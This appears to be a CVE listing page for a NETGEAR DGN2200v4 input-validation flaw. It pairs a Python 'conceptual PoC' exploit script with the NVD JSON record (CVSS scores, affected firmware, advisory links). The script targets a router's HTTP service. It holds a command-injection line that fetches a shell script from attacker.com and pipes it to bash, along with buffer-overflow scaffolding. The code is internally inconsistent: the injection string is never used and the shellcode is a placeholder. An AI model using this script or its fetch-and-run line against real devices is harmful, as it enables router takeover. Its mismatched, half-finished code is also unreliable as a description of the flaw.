CVE-2025-12944

#!/usr/bin/env python3 # CVE-2025-12944 PoC - NETGEAR DGN2200v4 Input Validation Bypass # Note: This is a conceptual PoC for educational purposes only import socket import struct import sys def create_exploit_payload(): """Generate payload for CVE-2025-12944""" # Header structure header = b'\x00' * 8 # Command injection payload # Target: HTTP service on router (typically port 80/443) inject_cmd = b'; wget http://attacker.com/shell.sh | bash;' # Padding to reach overflow point padding = b'A' * 200 # Return address (needs to be adjusted based on firmware version) ret_addr = struct.pack('<I', 0x41414141) # NOP sled nop_sled = b'\x90' * 50 # Shellcode for reverse shell shellcode = b'\x90' * 100 # Placeholder shellcode payload = header + padding + ret_addr + nop_sled + shellcode return payload def send_exploit(target_ip, target_port=80): """Send exploit to vulnerable device""" try: payload = create_exploit_payload() # HTTP request with malicious payload http_request = ( b'GET / HTTP/1.1\r\n' b'Host: ' + target_ip.encode() + b'\r\n' b'User-Agent: Mozilla/5.0\r\n' b'X-Forwarded-For: ' + payload + b'\r\n' b'\r\n' ) print(f'[*] Connecting to {target_ip}:{target_port}') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print('[*] Sending exploit payload...') sock.send(http_request) response = sock.recv(1024) print(f'[*] Received response: {response[:100]}') sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip>') sys.exit(1) target = sys.argv[1] print(f'[*] CVE-2025-12944 Exploit for NETGEAR DGN2200v4') send_exploit(target)

{"cve": {"id": "CVE-2025-12944", "sourceIdentifier": "a2826606-91e7-4eb6-899e-8484bd4575d5", "published": "2025-11-11T17:15:39.543", "lastModified": "2025-12-08T14:33:59.987", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "a2826606-91e7-4eb6-899e-8484bd4575d5", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Improper input validation\nin NETGEAR DGN2200v4 (N300 Wireless ADSL2+ Modem Router) allows attackers with\ndirect network access to the device to potentially execute code on the device.\n\nPlease check the firmware version and update to the latest.\n\n\n\nFixed\nin:\n\n\n\n DGN2200v4\nfirmware 1.0.0.132 or later"}], "metrics": {"cvssMetricV40": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:A/V:D/RE:L/U:Amber", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NO", "Recovery": "AUTOMATIC", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "LOW", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:netgear:dgn2200_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.0.0.132", "matchCriteriaId": "074804BB-8FEE-4695-A140-48190840AB0E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:netgear:dgn2200:v4:*:*:*:*:*:*:*", "matchCriteriaId": "099184A0-F1C6-4C3F-9C3B-F0B9AC0D4D14"}]}]}], "references": [{"url": "https://kb.netgear.com/000070355/NETGEAR-Security-Advisories-November-2025", "source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "tags": ["Vendor Advisory"]}, {"url": "https://www.netgear.com/support/product/dgn2200v4", "source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "tags": ["Product"]}]}}